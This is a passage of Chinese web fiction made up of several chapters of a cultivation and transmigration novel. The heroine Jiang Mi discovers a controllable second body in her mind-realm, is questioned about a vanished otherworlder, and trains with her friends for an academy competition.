孙柏柔牵着江弥的手绕过他们,小声哼:“你们想得美。” “走什么走什么?没看到我五妹脚受伤了?”崔大两三步拦在江弥面上,背过身两手后伸,“来,大哥背你。” 李二也不甘落后,一屁股将崔大顶走,自己背对江弥喊:“上来上来,自家兄妹客气什么。” 然后被崔大一手扣着胳膊按在地上。 崔大半压在李二背上,要拉江弥的胳膊,孙柏柔准备拦,被周三抬手按下,他动作极快,手腕翻转,擒拿一出,孙柏柔往被扯得前倾,倒在周三背上。 而这边,半趴在地上的李二抬脚后踢,崔大伸向江弥的手被迫回击,重击之下他后退两步,李二借势翻身而起,抬脚攻他腰身,崔大出手格挡,另只手化掌为拳攻来,两人就这样你来我往地过起招。 背上孙柏柔就往前冲的周三一回头,见两人打起来,不由大喊:“打什么,快跟上!” 于是正在打架的两人将准备溜走的江弥扛上就跑,奋起直追,成功赶超周三后,崔大李二兴奋得跟只猴子似的发出无意义大喊。 周三大怒:“靠!我赶!” 孙柏柔:“……” 江弥:“……” 这场幼稚的跑步比赛止步于西舍。 江弥拨开满脸头发,面无表情地揉着肚子,看着眼前三个大男生可怜巴巴地低头认错,一点都不觉得他们可怜。 她差点被崔大李二给扯成两截! 孙柏柔身侧捏起的小拳头松了紧,紧了松,看上去在压抑着怒火。 江弥点头,就该发脾气!让这群小崽子整日无法无天不知轻重,瞎胡闹! 孙柏柔深吸口气,朝三人义正词严道:“全都给我叫姐!” 江弥:“……” 江弥:“…………” 崔大:“噗!” 李二:“噗噗!” 周三:“噗噗噗!” 孙柏柔气红了脸:“你们!” 崔大捂住嘴:“对不起,没忍住!” 李二轻咳两声:“不好意思,刚放屁。” 周三一手指崔大一手指李二:“他们今天吃了黄豆炖猪蹄,多体谅。” 崔大连忙放下捂嘴的手:“卧槽,三儿够狠!” 李二伸手勒住周三脖子:“你没吃?啊?” 周三拍他胳膊大喊:“吃了吃了!” 孙柏柔被他们逗笑,又强行憋住,还在执着让他们喊姐,虽然她才是最小的。 三个男孩看天看地插科打诨,就是不称她意,表达的态度很明显,赔礼道歉没问题,喊姐绝对不可能! 很美好,不是吗? 看着吵吵闹闹的场景,江弥心里仍旧这么认为。 除了异世者。 一番吵闹过后,三个男孩笑闹离开,相互勾搭着左摇右摆地远去,夕阳将三条影子拉得长长的。 孙柏柔往江弥手里塞了盒药:“这是我自己配的,效果没那么好,但能止痛,记得擦一擦。” 江弥点头,回住处打了盆水,将身上汗水伤处清洗一番后,坐在镜子前编好发辫,又给伤处抹完药。 她安静地坐了会儿,夜色被星光笼 21. 021 《他们要我成为异世大佬》全本免费阅读 江弥猛地从床上坐起,手臂窜起一层鸡皮疙瘩,她抬手搓了搓,想把疙瘩搓下去。 她脑袋里到底进去了个什么东西? 一想到脑袋里有个活人,鸡皮疙瘩没下去,后脑又整个头皮发麻。 江弥捂着脑袋自闭许久,最终深吸口气,自己的脑袋不搞清楚,什么时候被取代了都不知道! 抱着这样的决心,江弥再次沉进识界。 还是如镜子的水面,右边没有变化,漆黑一片,左边天空有一颗暗淡的星星,淡金色人偶蜷缩在水面,和她最开始进来时一样。 江弥没过去,而是开口问:“你为什么在这里?” 对方仍旧蜷成一团,没动。 江弥又问:“你是谁?” 还是没动。 江弥在水面走了两步,探着脑袋去看,忽然,蜷缩的人偶扭动脑袋回头,同江弥四目相对。 江弥:“!!” 停顿十秒,无事发生。 江弥按住狂跳的心脏问:“你不会说话吗?能说话点头,不能说话摇头。” 等待十秒,没动。 听不懂吗?还是听不见? 那张相似的面孔看她时,江弥真的有种怪异的惊悚感,如果对方和她正常对话,这种惊悚感绝对会飙升! 她没法想象这种画面,太诡异了。 江弥在观察和思考时,人偶一直用躺着回头的姿势看她,不行,这个也有点恐怖。 江弥深吸口气,决定直面内心恐惧。 她走到人偶身前,蹲下低头看她,人偶的目光随着她的动作移动,微仰头看她,两方目光交汇之时,江弥心中的恐惧和怪异散去,竟生出一种“我能控制她”的直觉。 江弥想了想,指着水面:“坐下。” 人偶仍旧看着她。 江弥把手放在她面前:“握手。” 人偶没动。 江弥直接伸手去握她的手,然后告诉她:“这是握手。好了,你重复一遍。” 人偶还是用那种明亮黑眸看她,但没动。 “握手。”“握手。”“坐下。” 发号命令没用啊。 江弥盘腿坐下来,观察她的一举一动,渐渐地,对方动了,她缓缓坐起来,学着江弥的样子盘起腿,连用手托腮的动作也一模一样。 江弥默默将腿并起来,脱衣服披她身上。 她又对着人偶试了很久,发现人偶似乎没有灵魂,只有一些身体本能,会跟着江弥学习,却不会主动学习,像是一种本能的趋同,比如江弥一直动的话她就不会模仿,可江弥保持一个动作久了,她就会跟着学。 但无论她重复一句话多久,人偶始终不会开口。 江弥从识界出来,捂着脑袋思索,这人偶到底是她本身有但没激活,还是陆怀系统搞出来的? 识界的变化是在陆怀系统自毁时发生的。 系统自毁时爆炸的白光淹没了所有东西,但江弥感受到了,有什么朝她飞来,像是一束金光,或者金色能量,紧接着她的识界被点亮了,还得到一段记忆。 联想到她能看到系统的能力。 她的特殊能力该不会是吸收系统能量吧? 江弥睡前还在想,总不能去找个异世者杀掉看自己能不能升级?这也太凶残了。 第二日江弥有课,她同往常一样醒来,摸到某个柔软皮肤时整个人汗毛倒竖,她猛地望去,那人也猛地望来,江弥惊得往后滚,对方也惊讶往后滚。 江弥滚下床,那人滚到墙壁上。 江弥从地上爬起来,那人从床上起来。 看到那张脸的瞬间,江弥张了张嘴,直接爆出一句粗口。 靠! 识界里的人偶为什么能跑出来?! 就在这时,门外传来敲门声,是孙柏柔。 绝对不能让孙柏柔看到! 江弥连忙跑到床边,那人偶也跟着跑,结果一脚踏空直接跌到床底,四仰八叉地倒在地上,很蠢的样子。 孙柏柔听到动静敲门问:“江弥?怎么了?” “我没事,等一下!”江弥一边应付孙柏柔一边拉起人偶。 可人偶的表现和识界完全不同,她就像个模仿狂,江弥做什么她也做什么,江弥想将她拉到床上,她也伸手拉江弥,江弥刚将她按在床上,自己也被按到床上,好不容易跳下床,她也跟着跳下来,紧着再次陷入你拽我我拽你的循环。 两人闹出的声响不是一点大。 孙柏柔以为江弥发生什么事,急忙敲门:“你没事吧?江弥,你再不开门我硬闯了?” “等……等!” 江弥和人偶在被子里滚成一团,两人同时跌下床,床前的灯台被碰到,发出“哐当”一声。 下秒,门板“砰”地被用力撞在墙壁上,孙柏柔匆忙进来,看到里面场景时愣了下。 就见裹成一团的被子在床下乱动,床上一片狼藉,江弥还在慌张说“等等”“等一下”。 孙柏柔笑着走上前,把江弥从被子捞出来,看她满脸憋得通红忍不住笑:“你睡个觉还能将自己困在被子里出不来?” 江弥扫视一圈,松了口气,人偶不见了,但下一秒,一种来自灵魂的疲惫让她差点扑倒在孙柏柔怀里。 孙柏柔哈哈笑出声:“你今天好呆啊。” 早上食堂里,孙柏柔将这事讲出来,江弥得到三个大傻子的哈哈嘲笑,她没什么力气地慢吞吞吃饭,其他人吃完了在聊天,江弥还在吃。 她咽下嘴里的饭:“你们先走。” 崔大说:“你慢慢吃,今天甲楼不开课,我们去乙楼练习,你早课完了也一起来。” 孙柏柔也说:“昨天的事情还没完,晚点我们要配合调查,不过三儿才是重点,我们应该只是走流程。” 先前在甲楼,周三得到陆怀指点,比他们接触多。 提到陆怀,几人面上都不怎么好。 这件事的余韵还没过,食堂也比平时更吵闹,走在路上也能看到交谈,讨论者十之八九都在说昨天的事。 相对而言,他们几人直接接触过陆怀,对陆怀的了解比对异世者更真切。 他们印象里,陆怀比启蒙院的大部分人都要正义善良,像个真正意义上的好人,不管是修行上的问题还是其他,他都不吝啬给与帮助。启蒙院暗地里打斗欺凌数不胜数,能站出来的人却少之又少,所以邢歌显得格外突出,教训霸凌之人的陆怀才那样耀眼。甚至对有些人来说,陆怀的天才和正义名声是那些饱受欺负人心中的灯塔。 就连崔大几人也得到过他们帮助。 可就是这样一个人,他是异世者,让启蒙院所有孩子失去家园的异世者。 让很多人崩溃的不是异世者,而是,陆怀是异世者。 22. 022 《他们要我成为异世大佬》全本免费阅读 异世者这事带来的影响比想象的还要严重,不单是江弥的基础课教习,很多教习都停课配合玄甲队调查。 除了教习,再就是甲楼学员,一波又一波学员被黑衣制服带进去,有的还在食堂吃饭呢,就被执法学员拉着叫走,闹得整个学院人心惶惶。 有人说他们之中还有隐藏的异世者,被当众抓到,拎出来训斥了一番。 江弥去乙楼时没找到人,一打听才知道孙柏柔几人也被叫走了。 重点配合调查的是甲楼教习和学员。 江弥的课被停,乙楼也没人,她回到西舍,思考两秒后放弃进入识界研究人偶的事,近期敏感,人偶还不受她控制,要是突然跑出去,后果不敢设想。 借的书三天后就要还,江弥捧着书了解什么是气。 如果说心界是前往修行之路的大门,大门后的识界是修士道途的具象化投影,那么气则是道途的基石。 书中曰:“有物混成,始天地生。寂兮寥兮,独立而不改,周行而不殆,可以为天地母。[1]” 它于天地而生,无形无声,不依赖于外力而存在,却循环运行永不衰竭,是天地万物之根本,称之为气,亦或元气、真气。 不同道途对气有不同的理解。 巫道认为气分前天后天,人生而有之,气之强弱天生注定,不可更改,且会随着年岁而变,气消失时,人随之灭亡。修行就是用后天之气蕴养先天之气,术法则是用先天之气调用后天之气。 江弥觉得这种说法里,先天之气应该就是修士常说的修行资质,在六到十八岁时先天之气最为强盛。 若在此期间没踏上道途,随后会减小,与道途失之交臂。而踏上修行的,便是用后天之气蕴养先天之气,使之不枯不竭。 兵灵星宿却认为,气是一种场,能量,每个人自身都拥有场,修行则是用自己的场与外界的场共鸣,从而掌控能量将其具象成术,也就是行气。 杂道则偏实用主义,他们将打开心界的修士比作睁开眼睛的人类,将气看作火,一种修士能拿来用的自然造物,就如同人能看到火,用火烤肉取暖,修士也能感知气,引气做阵画符。 江弥将书放下,拨弄不知何时跑到额头的软发,心中思索,第七识吗? 眼睛看到火,鼻子嗅到花香,耳朵听见鸟语,舌头品尝滋味,指腹感受冷暖,大脑掌控情绪思考,而第七识能感知到气。 打开心界时她被自己一片黑的识界震到,也没这块的常识,对自身的变化没有太多感知。 书上说修士的身体会逐渐发生微妙的变化,比如视觉更远更清晰,感官更为敏锐。 而女教习说过,打开心界就是打开身体的门,江弥觉得这句话可能是字面上的意思,气可以通过门慢慢改造身体,如同罩在花上的玻璃打开了一扇窗,空气雨露和蜂蜜通过这扇窗参与花的生长。 江弥闭目,收拢其他感官,将意识沉静下来。 这并不是一个简单的过程,她习惯思考,大脑一刻不停地思索着,异世者的,人偶的,系统的,调查的,这些在她脑海里犹如奔流的河水滔滔不绝,而听力和视力是她收集情报的来源,不管处在何地,她总是下意识探听周围消息,这是来到这个世界后危机感造就的习惯。 静心。静心。 被字灵排斥的一年里,江弥几乎无法静心。 她被焦虑、急躁、不安折磨了很久,各种折腾都无用后,她忽然意识到,她不接纳这个世界,是因为她不接纳弱小的自己。 穿越前她从不觉得自己弱小,奋斗就能得到回报,努力就会实现目标,她拥有让自己过得好的能力,她认可自己的这种能力。 可来到这个世界,努力很多时候是没有回报的,性命犹如大风大浪中飘摇的小舟,半点不由己。她尚且处于生命危机中,又如何允许自己弱小。 可当弱小无法变得强大,那就只能接受。 江弥用了一年承认自己弱小。 接受自己弱小后,所有的噪音和焦躁消失,平静就会变成常客。 江弥感受到了不一样的存在。 不是空中尘埃,不是流动的风,也不是花香潮气,一种有别于实物的因子,一切都被分解成光粒子。 没有桌椅,没有明暗,没有声与味,像是另一种存在,它们自由活泼,时而汇聚时而分散,团成云又散作雾,朝她靠近又远离。 从她的视角感知,她被一团逸散的光笼罩,边界模糊不明,又或者,她就是那团光雾,亦或是吸引光粒子的核心。 她很难描述那种感受,仿佛躯体消解,她化作风,和周围细小的气流相互作用着。 她想要聚集更多气,却仿佛刚出生的婴儿无法控制四肢,江弥感受到自己的气被带走,还越来越多,她一着急,粒子消失,所有感官回归。 一睁眼,人偶正坐在她对面,一脸着急模样。 江弥:“!!” 你怎么出来了! 江弥一把抓住她,只想把她往自己脑袋里塞,但这是个活生生的人!怎么塞?她到底怎么出来的啊! 人偶也在同一时间抓住江弥,她显然直接很多,抓着江弥胳膊按在自己脑袋上,一副不摁进脑袋誓不罢休的样子。 看着真的很蠢。 江弥抽了下胳膊,没抽出来,就默默看她犯蠢。 摁着摁着她的动作停止,将江弥的手放下来,却也还是握着的姿态,和江弥姿态一样。 有种照镜子的感觉。 她试探松手,人偶也同时松手,她尝试做了个走动的姿态,几乎同时,人偶也抬脚走动,但她前面就是椅子,踢上去了还在往前走。 江弥走向人偶,张开双臂抱住她,拍她后背,人偶也做出同样的动作。 肢体相触时能更清晰感受动作,同时也验证了江弥的猜想。 这不是模仿。 模仿要观察才做出反应,而人偶却是在同一时间做出和江弥相同的动作。 唯一一次不同是把她往脑袋里塞——这是江弥脑海中想却没做的行为。 江弥有点回过味来,这情况像是她控制自己身体时人偶也会接收到相同信号,从而做出同样的反应。 也就是说这具人偶也是她。 相当于她有两具身体! 突然有种从天而降五百万的巨大惊喜! 心中狂喜! 江弥盯着人偶开始笑。 相比看到系统面板的能力,这种实实在在的能力不知道要好上多少倍!她遇到危险还有另一具身体出来帮忙,看见面板能做什么?什么都做不了。 人偶也对着江弥笑。 这画面放之前她只会觉得诡异惊悚,现在却觉得无比亲和顺眼,这是她的第二条命! 惊喜过后,江弥冷静下来,思考如何控制人偶。 第一步就犯难了,她不知道怎么让人偶消失,最终是人偶自己维持不住消失的。 江弥早有预感,提前走到床边,人偶消失的一瞬,仿佛潮水般的疲倦将她淹没,江弥倒在床上失去意识。 · “真的没问题吗?她怎么还不醒?” “只是睡着了,可能通宵没睡,应该是太困。崔大找门还没回?” “会不会被教习抓了?” 熟悉的交谈声中江弥睁开眼,来自灵魂的疲惫还未散去,却比之前好太多。 一天两次是她的极限。 江弥从床上爬起来时觉得有点凉,孙柏柔见她起来连忙把她按床上,十分真诚地给她掖好被子:“你身体不舒服,再多睡会儿。” 江弥:“我看到了。” 孙柏柔悻悻松手:“嗯,崔大肯定会帮你修好的,就算修不好,你还可以去我屋里睡。” 说着语气还有点期待。 江弥掀开被子起床,按了下太阳穴,望向门口两人:“你们把我门怎么了?” 江弥抬眼能看到外面铅灰色天空和厚 23. 023 《他们要我成为异世大佬》全本免费阅读 崔大的门最终安在江弥房里。 昨天几人有空,本想带江弥熟悉乙楼,却不想几人都去甲楼配合调查直到深夜,今天找江弥也是为这事,但很不巧,江弥和他们去乙楼路上被执法学长叫走了。 甲楼是启蒙院的金字塔顶端,厉害修士的聚集地,甲楼学员能拥有许多特权。 像食堂的打包盒,便是甲楼学员特有。 在很多学员眼里,能在甲楼待下去的修士,不管心性还是资质都是上佳,他们对甲楼有种打心底的敬仰和崇拜。 这是江弥第一次来甲楼。 穿过大道和栽满花树的山坡后,高大牌楼树立,写着甲楼二字,牌楼下有一块被风雨侵蚀的木质地图,已经看不清标识了。 旁边站着两名黑衣制服,却没有日月同辉的徽纹。 学长带她穿过牌楼,往里是一座建筑群,低矮的建筑在其中凌乱分布,不知道路很容易迷失在里面。 甲楼里像江弥被拉来调查的人很多,不同方向传来拍桌子或者大吼声。 “就在这里,进去吧。” 把江弥带到地方看她进去后,执法学长离开。 顾臣闭目揉着眉心,听到有人进来,抽出用来记录的纸直接道:“坐这里,叫什么,和异世者有过什么接触,越仔细越好。” 江弥坐下:“江弥,和陆怀学长是认识关系。” 听到这个名字,顾臣抬头望来,手中笔停了一秒,又将刚拿出来的白纸放一旁,取出另一张纸低头边写边说:“继续。” 江弥:“我和邢歌学姐关系很好,因此认识了陆怀学长,平时接触不多,但陆怀学长是个好人,我和同伴没法赶到禁令前回来时他帮我们和教习说明情况。” 顾臣:“只有这些?” 江弥:“陆怀学长还帮我认字,但没成功。” 顾臣看她:“什么时候的事?” 江弥:“一年前,第一次心理检查那天。” 顾臣:“嗯,继续。” 江弥陆陆续续说了几次和陆怀的接触,其中大部分情况邢歌在场,说完顾臣忽然问:“陆怀被发现那天,你在做什么?” 江弥回忆片刻,这事才发生几天,很快道:“早上有百神谱课程,上完课和同伴食堂吃饭,然后去了丁四教,藏书馆教习托我将书送给陈教习,从丁四教……” 顾臣屈指敲敲桌面打断她:“藏书馆那边说给你六本书,但陈教习说你只给他送去一本,为什么?” 顾臣显然特别关注她那天的行为。 江弥并不担心,她确定自己没有留下破绽,那天的事确实很冒险,但不管是主动靠近陆怀还是追邢歌,她都有合理的动机和理由。 而系统的事,她有十足把握只有自己看到。 于是江弥毫不客气道:“看来顾教习人缘不好,没被人关照过。” 顾臣被她呛也没露出什么表情,端着公事公办的态度问:“陈教习说你当天很反常,本来正在教学员识字,突然起身跑出去,发生了什么?” 江弥:“教学妹识字时我忽然产生灵感,古字学习门槛太高,普通人难以学会,我自己更是深受其害,我想知道有没有办法将古字创造的过程记录下来,让初学者先理解古字之初的意义,再学习如何写,所以急着去藏书阁寻找相关记录。” “原来如此,”顾臣说,“让你产生灵感的古字是什么?” 老狐狸! 江弥心里骂了句,但这种事不可能瞒过去,她也早猜到顾臣不会轻易放过她,于是平静道:“‘陆地’,陆怀学长曾教我认过,但很遗憾,那时我记不住任何字。” 顾臣意味不明笑道:“陆怀教的,‘陆地’。” “安心居里有所有进入启蒙院的孩子资料,陆怀也在其中,他疑点很多,所以我经常会拿出来分析,”顾臣双手交叉目视江弥,“他教你识字,你没察觉到他抱有什么意图?” 江弥:“没有,他在认真教我认字,我在认真学字。” 顾臣忽然几页纸抽出来推到江弥面前:“这个,不认识?” 江弥看到最上面的两个字后立马闭眼,顾臣被她反应弄得一怔:“做什么?” 江弥:“教习将有疑点的资料乱放,不会有问题,但我看了,就有问题。” 顾臣听出这话里明嘲暗讽的意思,这是在拐弯抹角说他给她乱扣帽子,顾臣也不跟她绕圈子,往椅子一靠,直截了当问:“陆怀在哪里?” 江弥睁眼,满脸问号:“他不是死了?” 顾臣观察她表情动作:“他的尸体不见了,我们怀疑他还没死。” 江弥简直比顾臣最开始听到这消息还要惊愕:“但他当时不是……爆炸了?” 顾臣:“你认为那是爆炸?” 江弥茫然了下:“不然呢?” 顾臣见她不像假装,皱眉问:“我们怀疑有人给他通风报信,他才有机会逃走。” 这完全超乎江弥想象,难怪天诛院都来了。 陆怀要是死了,异世者的事情就可以中断,只用往前调查他生前的人际关系和事迹,只要没有大嫌疑,这事就过了。 可他要是跑了,那问题可就大了。 江弥的淡定几乎装不下去:“顾教习縂不能怀疑到我身上?我一个刚修行入门的小孩,能做什么?” 顾臣看她两秒:“你说得对,走吧。” 啊?我追邢歌的事不问问?跑去看陆怀的行为不再细究下?就……就这样? 江弥这下是真不懂顾臣态度,还满脸茫然没动。 顾臣见她呆傻着没走,竟然有种奇异的扳回一城的喜悦,他现在已经轮到跟小孩较量了? 顾臣:“不想走?那就留下来聊聊。” 江弥跳下椅子,朝顾臣点点头转身就走。 脑海一直在消化陆怀尸体不见的消息。 要么,陆怀确实跑掉了,那她看到的系统提示怎么回事?难道自毁只会销毁系统?还是陆怀已经回现代了? 江弥觉得这种可能有点异想天开。 要么,陆怀真的死了,尸体也确实不见了,至于在哪里…… 江弥忽然心中恶寒,不可能不可能,那是她的脸她的身体,不是陆怀。 调查持续了五天。 天诛院在三天后撤出启蒙院,甲楼课程已经在江弥做完调查第二天开始,崔大三人又进入疯狂修炼中。 江弥也处于水深火热中。 她白日去丙楼上课,没课就去藏书阁补习,到了晚上还要训练人偶。 得到第二身体的喜悦被一次次挫败磨掉,江弥每天都在暴躁和疲倦中度过。 控制人偶比她想象的困难太多,人偶和她的身体执行同一套命令,无论怎么训练,两个月下来她还是只得到一个只会和她做同样动作的人偶。 就相当于要控制同一张嘴说不同的话,一只脚抬起时同时向左向右走,江弥无法区分自己跟人偶。 而且她的感官反馈只来自自身。 正常来说,人偶也是她的身体,那么人偶眼睛看到的,耳朵听到的,身体感触到的,都应该回馈到她这里,她应该同时得到两套外界反馈,但没有。 江弥怀疑是她的灵魂强度还不足以控制两具身体,就跟一块能源驱动不了两台机器一样,于是其中一台被迫启用节能模式。 要不是有那么一次人偶动作不同,她真的要将人偶当鸡肋弃之不管了。 意识到问题所在后,江弥加大训练人偶的力度。 开始她还控制次数,某次听到蔡平秋说顾臣原来就是天诛院的,不知怎么调到心一院,异世者事情了结后被调回去了。顾臣一走,笼罩在身边的危机感减去大半,江弥不再留手,她每天晚上几乎是累昏过去的,导致她第二天经常起不来。 孙柏柔来撬了几次门,也给江弥看过,身体没有大碍,加上她自己学业也忙,不放心也没办法。 一次中午,江弥吃饭时差点一头栽进饭盘里,惊得几人各种担心,盘问许久,江弥只得说是识界的问题。 “我的识界好像有点奇怪,具体的还在摸索。” 这话一出,几人没再细问,但面上担心不减。 江弥说:“只是嗜睡,问题不大。” 当天下午,江弥在课堂上睡着,被教习扔出去了又在草坪上睡着,正巧被下课的李二看到,李二帮她挡住教习目光让她继续睡。 睡醒的江弥爬起来,左右看看,已经下课了,她打着哈欠揉眼睛问李二:“我又睡着了?” 李二和她往西舍走,这个时间食堂已经关门,走到西舍住处时两个打包饭盒放在门口,是孙柏柔他们放的。 江弥抱着饭盒开门,和李二面对面吃饭。 吃完李二问她:“你明天都有什么课?” 江弥慢吞吞咽下饭说:“上午是天官书,林教习的课,下午是王教习的天象列次分野图,王教习不喜欢纸上谈兵,应该会将课程挪到晚上观星。” 李二点头没说话。 第二天江弥开门,李二站在她门口说:“走吧。” 江弥一脸困顿跟着他走,到了教室门口见他还准备往里,江弥拉住他:“这课你不是跟着三儿修过?” 李二说:“再听一次。” 江弥就随他,跟着走进教室。 天官书是介绍星象的课程,和天象列次分野图可并为同一科,但两个教习分修不同,侧重也不同。 林教习修巫,巫的分支占卜术什么都可以占,星相是主要占卜手段之一,所以天官书更偏向相占之术;王教习修星宿,偏向星辰之力的应用,上课喜欢对着满天星辰介绍,得看天气上课。 林教习抬手便是一片星图,开始洋洋洒洒讲起来。 江弥打起精神听了片刻,没坚持一会儿眼睛就耷拉下来了。 训练人偶虽然极易疲惫,但她的灵魂确实在一点点变强,与此同时,记忆能力也飞速上升,她现在几乎过目不忘,星宿相关的书她在藏书馆看过不少,很多知识触类旁通,林教习讲的内容江弥学过,也就不强撑着听课了。 李二听课中途往后瞥了眼,又去看林教习,动了动身体挡住江弥,让她继续睡。 江弥醒来时还在想自己怎么没被发现,抬眼就见李二的背挡住了她视线。 李二回头问她:“去吃饭?这个时间孙柏柔他们应该吃了一半。” 江弥点头,和他往食堂走,路上李二和她讲林教习课上讲的内容,江弥后知后觉反应过来,李二在帮她补习。 两人到食堂时三人刚吃完,等他们打好饭坐下就差不多要走了。 孙柏柔端着空盘拍李二的肩:“别带坏江弥。” 刚准备吃饭的江弥:“?” 崔大起身跨过大半个桌子拍李二背:“靠你了。” 周三的位子拍不到,于是举手道:“看好你。” 江弥看着三人利落离开的背影,没什么精神地侧目看李二:“你们要做什么?” 李二没答,只指着她饭盘说:“快吃。” 江弥盯他两秒,李二不愿说就没再问。 下午的课挪到晚上,江弥去藏书阁度过下午,找了本《符文与古字的前世今生》看起来。 江弥很珍惜这段平静的时光,目前的她摆脱了异世者身份嫌疑,短暂脱离了危险,也成功踏入修行,还激活第二体,正是汲取知识和力量的时候。 只要未满十八,学员可在启蒙院待满六年。 还有五年,可时间依旧很紧迫。 她要在五年内完全掌握第二体,并摸索第二体的修炼方式,这是她以后的保命手段,属于重中之重。 其次是达到小术院晋升要求,也就是在五年内晋级三阶。 最后,至少要学习基本的攻击防御手段五行术。 她将大部分时间用于掌握第二体,但每次训练完第二体,精力和体力就只剩残血,江弥只能暂时放弃五行术,转而吸收理论知识。 而且江弥发现,灵魂强度提高后,不仅记忆力会增强,对气的掌控也有所提高,所以对人偶也越发有耐心了。 晚上有观星课程,这是她的弱点,江弥为晚上留足精神,看书看到一半困意来袭便没有强撑,任自己睡了过去。 醒来时李二也在,他捧着本书在看,江弥一醒他就望过来:“还有点时间,再睡会儿?” 江弥竖起脑袋摇头,一边按下睡翘的头发一边看书,半晌才反应过来问他:“你下午没课?” 李二举了举手里的书:“看这个也一样。” 江弥凑过去看了眼,是人体经脉走向和穴道讲解,便点点头,撑着下巴继续看自己的书。 上晚课的地方在观象台,看李二也朝观象台走时,江弥忽然理解中午这几人在打什么哑谜,她一把拉住李二:“你不用去乙楼练五行术?” 李二说:“五行术原理我学 24. 024 《他们要我成为异世大佬》全本免费阅读 本以为初步控制第二体后,接下来就跟小孩学步开始跑一样简单很多。 但并没有! 反而难度反而直线上升! 江弥的灵魂强度提升很多,比作电源的话,就是电池容量变大,能够启动第二台机器,但第二台机器需要至少得三块四块电池,她没那么多,机器是启动了,可她控制不住! 第二体对她开放后,也得到第二体的感官,相当于她同时获得两套反馈机制,她能通过自己的眼睛看到第二体,也能通过第二体看到自己,声音成了4D环绕,整个世界仿佛立体起来,很奇妙。 但也因此乱了套。 就像力不从心的肌肉忽然使上劲儿了,灵敏度提高后,笨重迟钝的第二体好像一下子机敏起来,江弥的大脑十分活跃,很平常的想法都会将第二体激活。 第二体开口就是她的心里话。 她一激动第二体就出现,并热衷表现出她的激动。 之前她能通过能量枯竭的方式让第二体消失,现在她连第二体出现都没法很好控制。 第二体不受控制地出现消失,让她提心吊胆,为此她几天没上课,就在西舍里习惯突然的敏锐。 还有感知的事,她拥有两套感知后经常错乱,不是控制错躯体就是力度没把握好。 她需要花费大量注意力和灵魂用于压制第二体,日常生活很受影响。 有次食堂吃饭她正要把饭送进嘴里,一个用力把筷子捏断了。 江弥:“……” 李二面色如常重新拿来新筷子,崔大张大嘴连饭都忘了吞,孙柏柔看着江弥的手面露惊奇,周三则若有所思。 李二解释:“早上没睡足两个时辰,正在暴躁。” 他的口气像是在说处于少女时期情绪敏感的妹妹正在闹脾气这种小事。 孙柏柔看看重新吃饭的江弥,又去看习以为常的李二,终于意识到哪里不对:“江弥在练体术?” 周三说:“她天天睡觉,还能在梦里练?” 崔大摸下巴盯着江弥瞧,奇怪问:“你该不会背着我们偷练什么禁术吧?” “啪!” 筷子又断了。 江弥深深地吸了口气,放下断筷,拳头握得死紧,死死摁住差点从识界跑出来的第二体:“我想睡觉。” 说完就软下去,李二熟练扒拉她头,伸手在她后背虚拢防止她掉下去,另一只手正常吃饭。 崔大嘴里的饭都掉出来了,周三嫌弃地抬他下巴让他闭嘴,崔大咽下饭问:“她这样真的正常吗?” 孙柏柔担忧说:“自打开心界后她就这样,都快一年,怎么还越来越严重。” 周三却说:“说不定是好事。” 几人盯着他,周三不紧不慢吃了会儿饭,被李二踢了脚才开口:“你们还记得她说这是什么原因吗?” 孙柏柔说:“识界?” 周三点头:“江弥打开心界的情况比较特殊。” 崔大恍然:“你是说字灵!” 周三:“她开心界时我们同时被拉进三千古字,在里面一呆就是一天,她的识界大概类似。” 几人纷纷脑补,露出恍然大悟神情,于是坦然接受江弥时不时睡觉或者奇怪的小动作。 虽然说的不全对,但某种意义上来说也没错。 江弥识界又出现新东西了。 她的识界被河水一分为二,左边的识界是一颗星星和第二体,星星没有变化,第二体则灵动许多。 识界仿佛是灵魂的修养地,江弥一进来疲惫减轻,而且她发现,在外界她和第二体完全相连,一旦进入识界,就像将两人之间的关联切断,第二体只有趋同行为。 识界右边不再是漆黑一片,自江弥开始学五行术,炼化的气在这里形成跳跃的光点,照亮了无边的黑。 有了光后,江弥也看到这里的东西。 古字。 打开心界时浮现的三千古字似乎跑到她识界中,古字是暗沉的黑,她的识界也一片黑,以至于无法察觉。 江弥发现古字在吸收光点。 期初是只发现古字如同黑沉沉的字符令牌,一段时间后再来看,古字没那么黑,有一枚灰色褪去一半,另一半带着点光。 而与此同时,她识界里的光大大变少。 某天江弥同李二去乙楼练习五行术时,突然连颗水滴都捏不出,她犹如雷劈,生出一种被偷走家底的感觉。 她辛辛苦苦攒的小金库! 没了!! 这天回西舍,她在识界里折腾很久。 识界里的河水犹如楚河汉界,分隔空间的同时,也将两边的东西完全隔开,第二体无法走到右边识界,光点无法跨过河水跑到左边,就连光也照不过去。 她识界的光点本就不多,古字三千,有的古字吸收速度还特别快,江弥的气直接被掏空。 一想到它们以后会继续吸收,还都不受她控制,不能忍! 得让古字去没有光点的地方。 江弥本想将古字引到识界左边,但这些古字每快要到河边就自发远离,好像那边有什么令它害怕的东西。 江弥大喜,连续几个晚上她都在搬字,连拖带拽地将满识界乱跑的古字按进河水里,只留了个“破土”。 等她从识界出来,简直比控制第二体还累。 这日江弥上完课抱着本书去乙楼。 她一年来只练了五行之一的水术,炼化的气所剩无几,江弥只能练习一些不用太多气的东西,比如水滴、水针、水丝、水刃。 有个教习忽然找到她,让她将会的法术施展一遍。 教习看她施展完了问:“只会水术?” 江弥不知道他要做什么,但还是老实说:“只学了水术,五行术每一术形态万千,攻防皆宜,我想先学透一种。” 教习没说什么离开。 事后江弥将这事给说李二听,李二想了会说:“可能是在挑选合适的学员参加心宿比赛,为启蒙院大比做准备。” 心宿二十三个院每年会举办一次友谊赛,去年的友谊赛前,心一院发生异世者的事,退出了比赛。 孙柏柔和周三也因此错过比赛。 而今年正好是三年一度的启蒙院大比,二十八宿所有院参加,可以说是所有启蒙院最隆重的比赛。 心一院对此十分重视,今年的友谊赛不但是简单比赛,排名靠前的还会被送去参加大比。 而能参加启蒙院大比的,大概率能升入小术院。 李二问:“你想参加?” 江弥想了想,点头,她没同人打过,也只练过水术,对自己的能力没有概念,而且她也想看看其他人和自己的区别。 李二说:“那你得加练。” 江弥垂下头,又想睡了。 李二扒拉她脑袋,笑道:“你最大的弱点是只能坚持一刻钟,所以比赛要在一刻钟内打完,快速战要强攻,你的抠门程度做不到强攻,这不是一时半刻能提升的。” 江弥点头,李二说得很有道理。 决定比赛后,江弥把“破土”也埋入河水中,第二体已经能正常控制,她减少操控第二体的次数,开始频繁去乙楼练习五行术。 